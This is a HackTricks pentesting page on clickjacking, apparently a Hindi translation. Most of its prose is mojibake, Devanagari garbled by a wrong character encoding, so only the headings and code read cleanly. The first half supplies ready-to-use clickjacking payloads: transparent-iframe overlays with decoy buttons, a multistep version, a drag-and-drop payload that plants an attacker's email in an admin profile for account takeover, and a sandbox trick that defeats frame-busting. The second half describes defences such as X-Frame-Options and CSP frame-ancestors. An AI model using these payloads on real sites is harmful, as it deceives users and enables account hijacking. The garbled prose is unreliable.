hacktricks/pentesting-web/clickjacking.md

229 lines
20 KiB
Markdown

# Clickjacking
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** ЁЯТм [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** ЁЯРж [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
## What is Clickjacking
рдПрдХ рдХреНрд▓рд┐рдХрдЬреИрдХрд┐рдВрдЧ рд╣рдорд▓реЗ рдореЗрдВ, рдПрдХ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛** рдХреЛ рдПрдХ рд╡реЗрдмрдкреЗрдЬ рдкрд░ рдПрдХ **рддрддреНрд╡** рдкрд░ **рдХреНрд▓рд┐рдХ** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **рдзреЛрдЦрд╛** рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рдпрд╛ рддреЛ **рдЕрджреГрд╢реНрдп** рд╣реЛрддрд╛ рд╣реИ рдпрд╛ рдПрдХ рдЕрд▓рдЧ рддрддреНрд╡ рдХреЗ рд░реВрдк рдореЗрдВ рдЫрд┐рдкрд╛ рд╣реЛрддрд╛ рд╣реИред рдпрд╣ рд╣реЗрд░рдлреЗрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд▓рд┐рдП рдЕрдирдкреЗрдХреНрд╖рд┐рдд рдкрд░рд┐рдгрд╛рдореЛрдВ рдХрд╛ рдХрд╛рд░рдг рдмрди рд╕рдХрддрд╛ рд╣реИ, рдЬреИрд╕реЗ рдХрд┐ рдореИрд▓рд╡реЗрдпрд░ рдХрд╛ рдбрд╛рдЙрдирд▓реЛрдб рд╣реЛрдирд╛, рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╡реЗрдм рдкреГрд╖реНрдареЛрдВ рдкрд░ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рди, рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдпрд╛ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдХрд╛ рдкреНрд░рд╛рд╡рдзрд╛рди, рдкреИрд╕реЗ рдХрд╛ рд╣рд╕реНрддрд╛рдВрддрд░рдг, рдпрд╛ рдЙрддреНрдкрд╛рджреЛрдВ рдХреА рдСрдирд▓рд╛рдЗрди рдЦрд░реАрджрд╛рд░реАред
### Prepopulate forms trick
рдХрднреА-рдХрднреА рдПрдХ рдкреГрд╖реНрда рд▓реЛрдб рдХрд░рддреЗ рд╕рдордп **GET рдкреИрд░рд╛рдореАрдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдлреЙрд░реНрдо рдХреЗ рдлрд╝реАрд▓реНрдб рдХреЗ рдорд╛рди рдХреЛ рднрд░рдирд╛ рд╕рдВрднрд╡ рд╣реЛрддрд╛ рд╣реИ**ред рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдлреЙрд░реНрдо рдХреЛ рдордирдорд╛рдиреЗ рдбреЗрдЯрд╛ рд╕реЗ рднрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдХреНрд▓рд┐рдХрдЬреИрдХрд┐рдВрдЧ рдкреЗрд▓реЛрдб рднреЗрдЬ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдмрдЯрди рд╕рдмрдорд┐рдЯ рджрдмрд╛рдПред
### Populate form with Drag\&Drop
рдпрджрд┐ рдЖрдкрдХреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕реЗ **рдПрдХ рдлреЙрд░реНрдо рднрд░рд╡рд╛рдиреЗ** рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рд▓реЗрдХрд┐рди рдЖрдк рд╕реАрдзреЗ рдЙрдирд╕реЗ рдХреБрдЫ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЬрд╛рдирдХрд╛рд░реА (рдЬреИрд╕реЗ рдИрдореЗрд▓ рдФрд░ рдпрд╛ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдкрд╛рд╕рд╡рд░реНрдб рдЬреЛ рдЖрдк рдЬрд╛рдирддреЗ рд╣реИрдВ) рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдирд╣реАрдВ рдХрд╣рдирд╛ рдЪрд╛рд╣рддреЗ, рддреЛ рдЖрдк рдЙрдирд╕реЗ рдмрд╕ рдпрд╣ рдХрд╣ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рд╡реЗ **Drag\&Drop** рдХрд░реЗрдВ рдХреБрдЫ рдРрд╕рд╛ рдЬреЛ рдЖрдкрдХреЗ рдирд┐рдпрдВрддреНрд░рд┐рдд рдбреЗрдЯрд╛ рдХреЛ рд▓рд┐рдЦреЗ рдЬреИрд╕реЗ [**рдЗрд╕ рдЙрджрд╛рд╣рд░рдг**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/) рдореЗрдВред
### Basic Payload
```markup
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
```
### рдорд▓реНрдЯреАрд╕реНрдЯреЗрдк рдкреЗрд▓реЛрдб
```markup
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
```
### Drag\&Drop + Click payload
```markup
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
```
### XSS + Clickjacking
рдпрджрд┐ рдЖрдкрдиреЗ рдПрдХ **XSS рд╣рдорд▓реЗ рдХреА рдкрд╣рдЪрд╛рди рдХреА рд╣реИ рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ** рдХрд┐рд╕реА рддрддреНрд╡ рдкрд░ **рдХреНрд▓рд┐рдХ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ** рддрд╛рдХрд┐ **XSS рдХреЛ рдЯреНрд░рд┐рдЧрд░** рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдФрд░ рдкреГрд╖реНрда **рдХреНрд▓рд┐рдХрдЬреИрдХрд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реИ**, рддреЛ рдЖрдк рдЗрд╕рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдмрдЯрди/рд▓рд┐рдВрдХ рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдзреЛрдЦрд╛ рджрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред\
рдЙрджрд╛рд╣рд░рдг:\
_рдЖрдкрдиреЗ рдЦрд╛рддреЗ рдХреЗ рдХреБрдЫ рдирд┐рдЬреА рд╡рд┐рд╡рд░рдгреЛрдВ рдореЗрдВ рдПрдХ **рд╕реНрд╡рдпрдВ XSS** рдкрд╛рдпрд╛ (рд╡рд┐рд╡рд░рдг рдЬреЛ **рдХреЗрд╡рд▓ рдЖрдк рд╕реЗрдЯ рдФрд░ рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ**)ред рдЙрди рд╡рд┐рд╡рд░рдгреЛрдВ рдХреЛ рд╕реЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **рдлреЙрд░реНрдо** рд╡рд╛рд▓рд╛ рдкреГрд╖реНрда **рдХреНрд▓рд┐рдХрдЬреИрдХрд┐рдВрдЧ** рдХреЗ рд▓рд┐рдП **рд╕рдВрд╡реЗрджрдирд╢реАрд▓** рд╣реИ рдФрд░ рдЖрдк **GET рдкреИрд░рд╛рдореАрдЯрд░** рдХреЗ рд╕рд╛рде **рдлреЙрд░реНрдо** рдХреЛ **рдкреВрд░реНрд╡-рдЬрдирд┐рдд** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред_\
\_\_рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЙрд╕ рдкреГрд╖реНрда рдХреЗ рд▓рд┐рдП рдПрдХ **рдХреНрд▓рд┐рдХрдЬреИрдХрд┐рдВрдЧ** рд╣рдорд▓реЗ рдХреА рддреИрдпрд╛рд░реА рдХрд░ рд╕рдХрддрд╛ рд╣реИ **рдлреЙрд░реНрдо** рдХреЛ **XSS рдкреЗрд▓реЛрдб** рдХреЗ рд╕рд╛рде **рдкреВрд░реНрд╡-рдЬрдирд┐рдд** рдХрд░рдХреЗ рдФрд░ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛** рдХреЛ **рдлреЙрд░реНрдо рд╕рдмрдорд┐рдЯ** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **рдзреЛрдЦрд╛** рджреЗрдХрд░ред рддреЛ, **рдЬрдм рдлреЙрд░реНрдо рд╕рдмрдорд┐рдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ** рдФрд░ рдорд╛рдиреЛрдВ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ XSS рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдЧрд╛**ред
## Clickjacking рдХреЛ рдХрдо рдХрд░рдиреЗ рдХреА рд░рдгрдиреАрддрд┐рдпрд╛рдБ
### рдХреНрд▓рд╛рдЗрдВрдЯ-рд╕рд╛рдЗрдб рдбрд┐рдлреЗрдВрд╕
рдХреНрд▓рд╛рдЗрдВрдЯ рд╕рд╛рдЗрдб рдкрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╕реНрдХреНрд░рд┐рдкреНрдЯреНрд╕ рдХреНрд▓рд┐рдХрдЬреИрдХрд┐рдВрдЧ рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рдХреНрд░рд┐рдпрд╛рдПрдБ рдХрд░ рд╕рдХрддреА рд╣реИрдВ:
* рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдирд╛ рдХрд┐ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╡рд┐рдВрдбреЛ рдореБрдЦреНрдп рдпрд╛ рд╢реАрд░реНрд╖ рд╡рд┐рдВрдбреЛ рд╣реИред
* рд╕рднреА рдлреНрд░реЗрдо рдХреЛ рджреГрд╢реНрдпрдорд╛рди рдмрдирд╛рдирд╛ред
* рдЕрджреГрд╢реНрдп рдлреНрд░реЗрдо рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░рдиреЗ рд╕реЗ рд░реЛрдХрдирд╛ред
* рд╕рдВрднрд╛рд╡рд┐рдд рдХреНрд▓рд┐рдХрдЬреИрдХрд┐рдВрдЧ рдкреНрд░рдпрд╛рд╕реЛрдВ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рдФрд░ рдЪреЗрддрд╛рд╡рдиреА рджреЗрдирд╛ред
рд╣рд╛рд▓рд╛рдВрдХрд┐, рдпреЗ рдлреНрд░реЗрдо-рдмрд╕реНрдЯрд┐рдВрдЧ рд╕реНрдХреНрд░рд┐рдкреНрдЯреНрд╕ рдХреЛ рджрд░рдХрд┐рдирд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:
* **рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдХреА рд╕реБрд░рдХреНрд╖рд╛ рд╕реЗрдЯрд┐рдВрдЧреНрд╕:** рдХреБрдЫ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдЕрдкрдиреА рд╕реБрд░рдХреНрд╖рд╛ рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдпрд╛ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╕рдорд░реНрдерди рдХреА рдХрдореА рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдЗрди рд╕реНрдХреНрд░рд┐рдкреНрдЯреНрд╕ рдХреЛ рдмреНрд▓реЙрдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
* **HTML5 iframe `sandbox` рд╡рд┐рд╢реЗрд╖рддрд╛:** рдПрдХ рд╣рдорд▓рд╛рд╡рд░ `allow-forms` рдпрд╛ `allow-scripts` рдорд╛рдиреЛрдВ рдХреЗ рд╕рд╛рде `sandbox` рд╡рд┐рд╢реЗрд╖рддрд╛ рд╕реЗрдЯ рдХрд░рдХреЗ рдлреНрд░реЗрдо рдмрд╕реНрдЯрд░ рд╕реНрдХреНрд░рд┐рдкреНрдЯреНрд╕ рдХреЛ рдирд┐рд╖реНрдХреНрд░рд┐рдп рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдмрд┐рдирд╛ `allow-top-navigation` рдХреЗред рдпрд╣ iframe рдХреЛ рдпрд╣ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░рдиреЗ рд╕реЗ рд░реЛрдХрддрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдпрд╣ рд╢реАрд░реНрд╖ рд╡рд┐рдВрдбреЛ рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП,
```html
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
```
The `allow-forms` рдФрд░ `allow-scripts` рдорд╛рди iframe рдХреЗ рднреАрддрд░ рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рддреЗ рд╣реИрдВ рдЬрдмрдХрд┐ рд╢реАрд░реНрд╖ рд╕реНрддрд░ рдХреА рдиреЗрд╡рд┐рдЧреЗрд╢рди рдХреЛ рдирд┐рд╖реНрдХреНрд░рд┐рдп рдХрд░рддреЗ рд╣реИрдВред рд▓рдХреНрд╖рд┐рдд рд╕рд╛рдЗрдЯ рдХреА рдЗрдЪреНрдЫрд┐рдд рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдорд▓реЛрдВ рдХреЗ рдкреНрд░рдХрд╛рд░ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ `allow-same-origin` рдФрд░ `allow-modals` рдЬреИрд╕реЗ рдЕрддрд┐рд░рд┐рдХреНрдд рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛ рд╕рдХрддреА рд╣реИред рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХрдВрд╕реЛрд▓ рд╕рдВрджреЗрд╢ рдпрд╣ рдорд╛рд░реНрдЧрджрд░реНрд╢рди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХреМрди рд╕реА рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдЕрдиреБрдорддрд┐ рджреА рдЬрд╛рдиреА рдЪрд╛рд╣рд┐рдПред
### рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рд░рдХреНрд╖рд╛
#### X-Frame-Options
**`X-Frame-Options` HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╣реЗрдбрд░** рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдХреЛ `<frame>` рдпрд╛ `<iframe>` рдореЗрдВ рдПрдХ рдкреГрд╖реНрда рдХреЛ рд░реЗрдВрдбрд░ рдХрд░рдиреЗ рдХреА рд╡реИрдзрддрд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╕реВрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬреЛ Clickjacking рдХреЛ рд░реЛрдХрдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддрд╛ рд╣реИ:
* `X-Frame-Options: deny` - рдХреЛрдИ рдбреЛрдореЗрди рд╕рд╛рдордЧреНрд░реА рдХреЛ рдлреНрд░реЗрдо рдирд╣реАрдВ рдХрд░ рд╕рдХрддрд╛ред
* `X-Frame-Options: sameorigin` - рдХреЗрд╡рд▓ рд╡рд░реНрддрдорд╛рди рд╕рд╛рдЗрдЯ рд╕рд╛рдордЧреНрд░реА рдХреЛ рдлреНрд░реЗрдо рдХрд░ рд╕рдХрддреА рд╣реИред
* `X-Frame-Options: allow-from https://trusted.com` - рдХреЗрд╡рд▓ рдирд┐рд░реНрджрд┐рд╖реНрдЯ 'uri' рдкреГрд╖реНрда рдХреЛ рдлреНрд░реЗрдо рдХрд░ рд╕рдХрддрд╛ рд╣реИред
* рд╕реАрдорд╛рдУрдВ рдХрд╛ рдзреНрдпрд╛рди рд░рдЦреЗрдВ: рдпрджрд┐ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдЗрд╕ рдирд┐рд░реНрджреЗрд╢ рдХрд╛ рд╕рдорд░реНрдерди рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдХрд╛рдо рдирд╣реАрдВ рдХрд░ рд╕рдХрддрд╛ред рдХреБрдЫ рдмреНрд░рд╛рдЙрдЬрд╝рд░ CSP frame-ancestors рдирд┐рд░реНрджреЗрд╢ рдХреЛ рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рджреЗрддреЗ рд╣реИрдВред
#### рд╕рд╛рдордЧреНрд░реА рд╕реБрд░рдХреНрд╖рд╛ рдиреАрддрд┐ (CSP) frame-ancestors рдирд┐рд░реНрджреЗрд╢
**CSP рдореЗрдВ `frame-ancestors` рдирд┐рд░реНрджреЗрд╢** Clickjacking рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рд▓рд┐рдП рд╕рд▓рд╛рд╣ рджреА рдЧрдИ рд╡рд┐рдзрд┐ рд╣реИ:
* `frame-ancestors 'none'` - `X-Frame-Options: deny` рдХреЗ рд╕рдорд╛рдиред
* `frame-ancestors 'self'` - `X-Frame-Options: sameorigin` рдХреЗ рд╕рдорд╛рдиред
* `frame-ancestors trusted.com` - `X-Frame-Options: allow-from` рдХреЗ рд╕рдорд╛рдиред
рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдирд┐рдореНрди CSP рдХреЗрд╡рд▓ рдЙрд╕реА рдбреЛрдореЗрди рд╕реЗ рдлреНрд░реЗрдорд┐рдВрдЧ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ:
`Content-Security-Policy: frame-ancestors 'self';`
рдЕрдзрд┐рдХ рд╡рд┐рд╡рд░рдг рдФрд░ рдЬрдЯрд┐рд▓ рдЙрджрд╛рд╣рд░рдг [frame-ancestors CSP рджрд╕реНрддрд╛рд╡реЗрдЬрд╝](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) рдФрд░ [Mozilla рдХреЗ CSP frame-ancestors рджрд╕реНрддрд╛рд╡реЗрдЬрд╝](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors) рдореЗрдВ рдкрд╛рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред
### рд╕рд╛рдордЧреНрд░реА рд╕реБрд░рдХреНрд╖рд╛ рдиреАрддрд┐ (CSP) `child-src` рдФрд░ `frame-src` рдХреЗ рд╕рд╛рде
**рд╕рд╛рдордЧреНрд░реА рд╕реБрд░рдХреНрд╖рд╛ рдиреАрддрд┐ (CSP)** рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдп рд╣реИ рдЬреЛ Clickjacking рдФрд░ рдЕрдиреНрдп рдХреЛрдб рдЗрдВрдЬреЗрдХреНрд╢рди рд╣рдорд▓реЛрдВ рдХреЛ рд░реЛрдХрдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддрд╛ рд╣реИ, рдпрд╣ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдХреЗ рдХрд┐ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЛ рд╕рд╛рдордЧреНрд░реА рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреМрди рд╕реЗ рд╕реНрд░реЛрддреЛрдВ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдиреА рдЪрд╛рд╣рд┐рдПред
#### `frame-src` рдирд┐рд░реНрджреЗрд╢
* рдлреНрд░реЗрдо рдХреЗ рд▓рд┐рдП рдорд╛рдиреНрдп рд╕реНрд░реЛрддреЛрдВ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддрд╛ рд╣реИред
* `default-src` рдирд┐рд░реНрджреЗрд╢ рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдЕрдзрд┐рдХ рд╡рд┐рд╢рд┐рд╖реНрдЯред
```
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
```
рдпрд╣ рдиреАрддрд┐ рд╕рдорд╛рди рдореВрд▓ (рд╕реНрд╡рдпрдВ) рдФрд░ https://trusted-website.com рд╕реЗ рдлрд╝реНрд░реЗрдореЛрдВ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред
#### `child-src` рдирд┐рд░реНрджреЗрд╢
* CSP рд╕реНрддрд░ 2 рдореЗрдВ рд╡реЗрдм рдХрд╛рд░реНрдпрдХрд░реНрддрд╛рдУрдВ рдФрд░ рдлрд╝реНрд░реЗрдореЛрдВ рдХреЗ рд▓рд┐рдП рдорд╛рдиреНрдп рд╕реНрд░реЛрдд рд╕реЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреЗрд╢ рдХрд┐рдпрд╛ рдЧрдпрд╛ред
* рдлрд╝реНрд░реЗрдо-рд╕реНрд░реЛрдд рдФрд░ рдХрд╛рд░реНрдпрдХрд░реНрддрд╛-рд╕реНрд░реЛрдд рдХреЗ рд▓рд┐рдП рдПрдХ рдмреИрдХрдЕрдк рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИред
```
Content-Security-Policy: child-src 'self' https://trusted-website.com;
```
рдпрд╣ рдиреАрддрд┐ рд╕рдорд╛рди рдореВрд▓ (рд╕реНрд╡рдпрдВ) рдФрд░ https://trusted-website.com рд╕реЗ рдлреНрд░реЗрдо рдФрд░ рдХрд╛рд░реНрдпрдХрд░реНрддрд╛рдУрдВ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред
**рдЙрдкрдпреЛрдЧ рдиреЛрдЯреНрд╕:**
* рдЕрд╡рд╢реЗрд╖: child-src рдХреЛ frame-src рдФрд░ worker-src рдХреЗ рдкрдХреНрд╖ рдореЗрдВ рд╕рдорд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИред
* рдлреЙрд▓рдмреИрдХ рд╡реНрдпрд╡рд╣рд╛рд░: рдпрджрд┐ frame-src рдЕрдиреБрдкрд╕реНрдерд┐рдд рд╣реИ, рддреЛ рдлреНрд░реЗрдо рдХреЗ рд▓рд┐рдП fallback рдХреЗ рд░реВрдк рдореЗрдВ child-src рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрджрд┐ рджреЛрдиреЛрдВ рдЕрдиреБрдкрд╕реНрдерд┐рдд рд╣реИрдВ, рддреЛ default-src рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
* рд╕рдЦреНрдд рд╕реНрд░реЛрдд рдкрд░рд┐рднрд╛рд╖рд╛: рд╢реЛрд╖рдг рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рд░реНрджреЗрд╢реЛрдВ рдореЗрдВ рдХреЗрд╡рд▓ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд╕реНрд░реЛрддреЛрдВ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░реЗрдВред
#### рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдлреНрд░реЗрдо-рдмреНрд░реЗрдХрд┐рдВрдЧ рд╕реНрдХреНрд░рд┐рдкреНрдЯреНрд╕
рд╣рд╛рд▓рд╛рдВрдХрд┐ рдпрд╣ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рд╕реБрд░рдХреНрд╖рд┐рдд рдирд╣реАрдВ рд╣реИ, рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ-рдЖрдзрд╛рд░рд┐рдд рдлреНрд░реЗрдо-рдмрд╕реНрдЯрд┐рдВрдЧ рд╕реНрдХреНрд░рд┐рдкреНрдЯреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдХ рд╡реЗрдм рдкреГрд╖реНрда рдХреЛ рдлреНрд░реЗрдо рд╣реЛрдиреЗ рд╕реЗ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг:
```javascript
if (top !== self) {
top.location = self.location;
}
```
#### рдПрдВрдЯреА-CSRF рдЯреЛрдХрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛
* **рдЯреЛрдХрди рдорд╛рдиреНрдпрддрд╛:** рд╡реЗрдм рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдореЗрдВ рдПрдВрдЯреА-CSRF рдЯреЛрдХрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рддрд╛рдХрд┐ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рд╣реЛ рд╕рдХреЗ рдХрд┐ рд╕реНрдерд┐рддрд┐-рдкрд░рд┐рд╡рд░реНрддрди рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдЕрдиреБрд░реЛрдз рдЬрд╛рдирдмреВрдЭрдХрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рдХрд┐рдП рдЧрдП рд╣реИрдВ рдФрд░ рдХреНрд▓рд┐рдХрдЬреИрдХреНрдб рдкреГрд╖реНрда рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдирд╣реАрдВред
## рд╕рдВрджрд░реНрдн
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)
